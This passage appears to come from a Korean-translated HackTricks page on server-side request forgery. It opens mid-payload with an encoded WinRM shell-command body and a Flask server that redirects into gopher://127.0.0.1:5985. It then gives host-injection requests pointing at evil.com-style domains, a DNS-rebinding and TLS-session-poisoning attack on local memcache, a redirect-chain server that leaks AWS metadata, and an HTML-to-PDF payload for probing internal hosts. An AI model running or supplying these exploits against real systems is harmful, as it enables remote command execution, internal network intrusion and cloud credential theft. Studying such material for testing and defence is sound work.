3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)

SSRF๋กœ ์ด์–ด์ง€๋Š” ์ž˜๋ชป ๊ตฌ์„ฑ๋œ proxies

ํŒ from this post.

Flask

Flask proxy ์ทจ์•ฝํ•œ code ```python from flask import Flask from requests import get

app = Flask(โ€˜mainโ€™) SITE_NAME = โ€˜https://google.comโ€™

@app.route(โ€˜/โ€™, defaults={โ€˜pathโ€™: โ€˜โ€™}) @app.route(โ€˜/path:pathโ€™)

def proxy(path): return get(fโ€™{SITE_NAME}{path}โ€™).content

if name == โ€œmainโ€: app.run(threaded=False)

</details>

Flask๋Š” ์‹œ์ž‘ ๋ฌธ์ž๋กœ **`@`**๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” **์ดˆ๊ธฐ ํ˜ธ์ŠคํŠธ ์ด๋ฆ„์„ username์œผ๋กœ ๋งŒ๋“ค์–ด** ์ƒˆ ํ˜ธ์ŠคํŠธ๋ฅผ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. Attack request:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close

Spring Boot

์ทจ์•ฝํ•œ ์ฝ”๋“œ:

์š”์ฒญ์˜ ๊ฒฝ๋กœ๋ฅผ ์‹œ์ž‘ํ•  ์ˆ˜ ์žˆ์Œ์ด ๋ฌธ์ž **;**๋กœ ๊ฐ€๋Šฅํ•˜๋‹ค๋Š” ๊ฒƒ์ด ๋ฐœ๊ฒฌ๋˜์—ˆ๊ณ , ์ด๋ฅผ ํ†ตํ•ด ์ดํ›„ **@**๋ฅผ ์‚ฌ์šฉํ•ด ์ƒˆ ํ˜ธ์ŠคํŠธ๋ฅผ ์ฃผ์ž…ํ•˜์—ฌ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋‹ค. ๊ณต๊ฒฉ ์š”์ฒญ:

GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

PHP ๋‚ด์žฅ ์›น ์„œ๋ฒ„

์ทจ์•ฝํ•œ PHP ์ฝ”๋“œ ```php

$proxy_site = $site.$current_uri; var_dump($proxy_site);

echo โ€œ\n\nโ€;

$response = file_get_contents($proxy_site); var_dump($response); ?>

</details>

PHP๋Š” URL์˜ ๊ฒฝ๋กœ์—์„œ **์Šฌ๋ž˜์‹œ ์•ž์— ๋ฌธ์ž `*`๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์„ ํ—ˆ์šฉํ•˜์ง€๋งŒ**, ๋‹ค๋ฅธ ์ œํ•œ์ด ์žˆ์–ด ๋ฃจํŠธ ๊ฒฝ๋กœ๋ช… `/`์—์„œ๋งŒ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๊ณ  ์ฒซ ๋ฒˆ์งธ ์Šฌ๋ž˜์‹œ ์•ž์—๋Š” ์  `.`์„ ํ—ˆ์šฉํ•˜์ง€ ์•Š์œผ๋ฏ€๋กœ ์˜ˆ๋ฅผ ๋“ค์–ด ์  ์—†๋Š” 16์ง„์ˆ˜๋กœ ์ธ์ฝ”๋”ฉ๋œ IP ์ฃผ์†Œ๋ฅผ ์‚ฌ์šฉํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close

DNS Rebidding CORS/SOP bypass

๋งŒ์•ฝ problems๋กœ ์ธํ•ด exfiltrate content from a local IPํ•˜๋Š” ๋ฐ CORS/SOP ๋•Œ๋ฌธ์— ๋ฌธ์ œ๊ฐ€ ์žˆ๋‹ค๋ฉด, DNS Rebidding์„ ์‚ฌ์šฉํ•ด ๊ทธ ์ œํ•œ์„ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋‹ค:

CORS - Misconfigurations & Bypass

Automated DNS Rebidding

Singularity of Origin ์€ DNS rebinding ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•˜๊ธฐ ์œ„ํ•œ ๋„๊ตฌ๋‹ค. ์ด ๋„๊ตฌ๋Š” ๊ณต๊ฒฉ์ž ๋„๋ฉ”์ธ์˜ DNS ์ด๋ฆ„์„ ํƒ€๊ฒŸ ๋จธ์‹ ์˜ IP ์ฃผ์†Œ๋กœ rebindํ•˜๊ณ , ํƒ€๊ฒŸ ๋จธ์‹ ์˜ ์ทจ์•ฝํ•œ ์†Œํ”„ํŠธ์›จ์–ด๋ฅผ ์•…์šฉํ•˜๊ธฐ ์œ„ํ•œ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ œ๊ณตํ•˜๋Š” ๋ฐ ํ•„์š”ํ•œ ๊ตฌ์„ฑ ์š”์†Œ๋ฅผ ํฌํ•จํ•œ๋‹ค.

๋˜ํ•œ ๊ณต๊ฐœ๋กœ ์šด์˜ ์ค‘์ธ ์„œ๋ฒ„๋Š” http://rebind.it/singularity.html๋ฅผ ํ™•์ธํ•˜๋ผ

DNS Rebidding + TLS Session ID/Session ticket

Requirements:

  • SSRF
  • Outbound TLS sessions
  • Stuff on local ports

Attack:

  1. Ask the user/bot access a domain controlled by the attacker
  2. The TTL of the DNS is 0 sec (so the victim will check the IP of the domain again soon)
  3. A TLS connection is created between the victim and the domain of the attacker. The attacker introduces the payload inside the Session ID or Session Ticket.
  4. The domain will start an infinite loop of redirects against himself. The goal of this is to make the user/bot access the domain until it perform again a DNS request of the domain.
  5. In the DNS request a private IP address is given now (127.0.0.1 for example)
  6. The user/bot will try to reestablish the TLS connection and in order to do so it will send the Session ID/Ticket ID (where the payload of the attacker was contained). So congratulations you managed to ask the user/bot attack himself.

Note that during this attack, if you want to attack localhost:11211 (memcache) you need to make the victim establish the initial connection with www.attacker.com:11211 (the port must always be the same).
To perform this attack you can use the tool: https://github.com/jmdx/TLS-poison/
For more information take a look to the talk where this attack is explained: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference

Blind SSRF

blind SSRF์™€ non-blind SSRF์˜ ์ฐจ์ด๋Š” blind์—์„œ๋Š” SSRF ์š”์ฒญ์˜ ์‘๋‹ต์„ ๋ณผ ์ˆ˜ ์—†๋‹ค๋Š” ์ ์ด๋‹ค. ๊ทธ ๋•Œ๋ฌธ์— exploit์ด ๋” ์–ด๋ ต๊ณ , ์•Œ๋ ค์ง„ ์ทจ์•ฝ์ ๋“ค๋งŒ ์ด์šฉํ•ด์„œ ๊ณต๊ฒฉํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋งŽ๋‹ค.

Time based SSRF

Checking the time of the responses from the server it might be possible to know if a resource exists or not (maybe it takes more time accessing an existing resource than accessing one that doesnโ€™t exist)

From blind to full abusing status codes

According to this blog post, some blind SSRF might happen because even if the targeted URL responds with a 200 status code (like AWS metadata), this data is not properly formatted and therefore the app might refuse to show it.

However, it was found that sending some redirects responses from 305 to 309 in the SSRF might make the application follow these redirects while entering an error mode that no longer will check the format of the data and might just print it.

The python server used to exploit this is the following:

@app.route("/redir")
def redir():
count = int(request.args.get("count", 0)) + 1
# Pump out 305, 306, 307, 308, 309, 310 ...
weird_status = 301 + count
if count >= 10:                      # after 5 โ€œweirdโ€ codes
return redirect(METADATA_URL, 302)
return redirect(f"/redir?count={count}", weird_status)

@app.route("/start")
def start():
return redirect("/redir", 302)

๋‹จ๊ณ„:

  • First 302 gets the app to start following.
  • Then it receives 305 โ†’ 306 โ†’ 307 โ†’ 308 โ†’ 309 โ†’ 310.
  • After the 5th strange code the PoC finally returns 302 โ†’ 169.254.169.254 โ†’ 200 OK.

๋Œ€์ƒ ๋‚ด๋ถ€์—์„œ ๋ฌด์Šจ ์ผ์ด ์ผ์–ด๋‚˜๋Š”๊ฐ€:

  • libcurl itself does follow 305โ€“310; it just normalises unknown codes to โ€œfollow.โ€
  • After N weird redirects (โ‰ฅ 5 here) the applicationโ€™s own wrapper decides โ€œsomething is offโ€ and switches to an error mode meant for debugging.
  • In that mode it dumps the entire redirect chain plus final body back to the outside caller.
  • ๊ฒฐ๊ณผ: attacker๊ฐ€ ๋ชจ๋“  ํ—ค๋” + ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ JSON์„ ๋ณด๊ฒŒ ๋œ๋‹ค, ์ž„๋ฌด ์™„์ˆ˜.

Note that this is interesting to leak status codes that you couldnโ€™t leak before (like a 200). However, if somehow you could also select the status code of the response (imagine that you can decide that the AWS metadata responds with a 500 status code), there might be some status codes that directly leak the content of the response.

๋ธ”๋ผ์ธ๋“œ SSRF ๊ฐ€์ ฏ์œผ๋กœ์„œ์˜ HTML-to-PDF ๋ Œ๋”๋Ÿฌ

Libraries such as TCPDF (and wrappers like spipu/html2pdf) will automatically fetch any URLs present in attacker-controlled HTML while rendering a PDF. Each <img> or <link rel="stylesheet"> attribute is resolved server-side via cURL, getimagesize(), or file_get_contents(), so you can drive the PDF worker to probe internal hosts even though no HTTP response is reflected to you.

<html>
<body>
<img width="1" height="1" src="http://127.0.0.1:8080/healthz">
<link rel="stylesheet" type="text/css" href="http://10.0.0.5/admin" />
</body>
</html>
  • TCPDF 6.10.0์€ ๊ฐ <img> ๋ฆฌ์†Œ์Šค์— ๋Œ€ํ•ด ์—ฌ๋Ÿฌ ๋ฒˆ์˜ ์กฐํšŒ ์‹œ๋„๋ฅผ ์ˆ˜ํ–‰ํ•˜๋ฏ€๋กœ, ํ•˜๋‚˜์˜ ํŽ˜์ด๋กœ๋“œ๋กœ ์—ฌ๋Ÿฌ ์š”์ฒญ์„ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(ํƒ€์ด๋ฐ ๊ธฐ๋ฐ˜ ํฌํŠธ ์Šค์บ”์— ์œ ์šฉ).
  • html2pdf๋Š” <img>์— ๋Œ€ํ•ด TCPDF์˜ ๋™์ž‘์„ ๋ณต์ œํ•˜๊ณ  Css::extractStyle() ๋‚ด๋ถ€์—์„œ CSS ํŽ˜์นญ์„ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค. ์ด ํ•จ์ˆ˜๋Š” ์–•์€ ์Šคํ‚ด ๊ฒ€์‚ฌ ํ›„ file_get_contents($href)๋ฅผ ํ˜ธ์ถœํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ ์•…์šฉํ•ด loopback services, RFC1918 ranges, ๋˜๋Š” cloud metadata endpoints๋ฅผ ํƒ€๊ฒฉํ•˜์„ธ์š”.
  • ์ด SSRF primitive๋ฅผ HTML-to-PDF path traversal tricks์™€ ๊ฒฐํ•ฉํ•˜๋ฉด ๋‚ด๋ถ€ HTTP ์‘๋‹ต๊ณผ PDF๋กœ ๋ Œ๋”๋ง๋œ ๋กœ์ปฌ ํŒŒ์ผ์„ ๋ชจ๋‘ leakํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ํ•˜๋“œ๋‹ ๋‹ด๋‹น์ž๋Š” ๋ Œ๋”๋ง ์ „์— ์™ธ๋ถ€ URL์„ ์ œ๊ฑฐํ•˜๊ฑฐ๋‚˜ ๋ Œ๋”๋Ÿฌ๋ฅผ ๋„คํŠธ์›Œํฌ ์ƒŒ๋“œ๋ฐ•์Šค์— ๊ฒฉ๋ฆฌํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ ์ „๊นŒ์ง€๋Š” PDF ์ƒ์„ฑ๊ธฐ๋ฅผ ๋ธ”๋ผ์ธ๋“œ SSRF ํ”„๋ก์‹œ๋กœ ์ทจ๊ธ‰ํ•˜์„ธ์š”.

Cloud SSRF Exploitation

ํด๋ผ์šฐ๋“œ ํ™˜๊ฒฝ์—์„œ ์‹คํ–‰ ์ค‘์ธ ๋จธ์‹ ์—์„œ SSRF ์ทจ์•ฝ์ ์„ ๋ฐœ๊ฒฌํ•˜๋ฉด ํด๋ผ์šฐ๋“œ ํ™˜๊ฒฝ์— ๋Œ€ํ•œ ์œ ์˜๋ฏธํ•œ ์ •๋ณด๋‚˜ ์ž๊ฒฉ์ฆ๋ช…๊นŒ์ง€ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Cloud SSRF

SSRF Vulnerable Platforms

์—ฌ๋Ÿฌ ์•Œ๋ ค์ง„ ํ”Œ๋žซํผ์—์„œ SSRF ์ทจ์•ฝ์ ์„ ํฌํ•จํ•˜๊ฑฐ๋‚˜ ํฌํ•จํ–ˆ๋˜ ์‚ฌ๋ก€๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค์Œ์„ ํ™•์ธํ•˜์„ธ์š”:

SSRF Vulnerable Platforms

Tools

SSRFMap

SSRF ์ทจ์•ฝ์ ์„ ํƒ์ง€ํ•˜๊ณ  ์•…์šฉํ•˜๊ธฐ ์œ„ํ•œ ๋„๊ตฌ

Gopherus

์ด ๋„๊ตฌ๋Š” ๋‹ค์Œ์„ ์œ„ํ•œ Gopher ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค:

  • MySQL
  • PostgreSQL
  • FastCGI
  • Redis
  • Zabbix
  • Memcache

remote-method-guesser

_remote-method-guesser_๋Š” ๋Œ€๋ถ€๋ถ„์˜ ์ผ๋ฐ˜์ ์ธ Java RMI ์ทจ์•ฝ์ ์— ๋Œ€ํ•œ ๊ณต๊ฒฉ ์ž‘์—…์„ ์ง€์›ํ•˜๋Š” Java RMI ์ทจ์•ฝ์  ์Šค์บ๋„ˆ์ž…๋‹ˆ๋‹ค. ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ์ž‘์—… ๋Œ€๋ถ€๋ถ„์€ ์š”์ฒญ๋œ ์ž‘์—…์— ๋Œ€ํ•œ SSRF ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ƒ์„ฑํ•˜๊ธฐ ์œ„ํ•ด --ssrf ์˜ต์…˜์„ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค. --gopher ์˜ต์…˜๊ณผ ํ•จ๊ป˜ ์‚ฌ์šฉํ•˜๋ฉด ์ฆ‰์‹œ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” gopher ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ง์ ‘ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

SSRF Proxy

SSRF Proxy๋Š” Server-Side Request Forgery(SSRF)์— ์ทจ์•ฝํ•œ HTTP ์„œ๋ฒ„๋ฅผ ํ†ตํ•ด ํด๋ผ์ด์–ธํŠธ์˜ HTTP ํŠธ๋ž˜ํ”ฝ์„ ํ„ฐ๋„๋งํ•˜๋„๋ก ์„ค๊ณ„๋œ ๋‹ค์ค‘ ์Šค๋ ˆ๋“œ HTTP ํ”„๋ก์‹œ ์„œ๋ฒ„์ž…๋‹ˆ๋‹ค.

To practice

GitHub - incredibleindishell/SSRF_Vulnerable_Lab: This Lab contain the sample codes which are vulnerable to Server-Side Request Forgery attack

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ